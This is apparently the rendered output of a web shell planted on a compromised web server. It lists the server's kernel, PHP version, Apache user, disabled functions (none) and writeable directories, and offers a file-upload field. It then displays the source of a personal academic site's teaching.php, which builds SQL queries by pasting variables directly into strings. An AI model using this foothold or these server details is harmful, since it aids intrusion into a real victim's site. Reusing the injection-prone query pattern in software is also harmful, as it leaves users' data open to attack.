Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/kpsingh/kpsingh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/kpsingh/kpsingh/teaching.php
<link rel = "stylesheet" type="text/css" href="css/teaching.css">

<?php
	include 'template.php';
	include 'db.php';
	$sql = "SELECT DISTINCT year FROM courses ORDER BY year DESC";
	$result = mysqli_query($dbconn, $sql);
	
	while($obj = mysqli_fetch_object($result)){
		$year = $obj->year;
		$sql2 = "SELECT DISTINCT sem FROM courses WHERE year = '$year' ORDER BY sem ASC";
		$result2 = mysqli_query($dbconn, $sql2);

		while($obj2 = mysqli_fetch_object($result2)){
			$sem = $obj2->sem;

?>

<div id = "res">
	<b><?php echo $year; echo " "; echo strtoupper($sem); echo " " ;echo "Semester:";  ?></b>
	<br><br>
	<?php
		$sql1 = "SELECT link, coursename FROM courses WHERE year='$year' AND sem='$sem'";
		$result1 = mysqli_query($dbconn, $sql1);
		
		while($obj1 = mysqli_fetch_object($result1)){
			$link = $obj1->link;
			$coursename = $obj1->coursename;
	?>
	<a id = "link" href = '<?php echo $link ?>'><?php echo $coursename; ?></a>
	<br><br>
	<?php }; ?>
</div>

<?php
	};
	};
?>

ZeroDay Forums Mini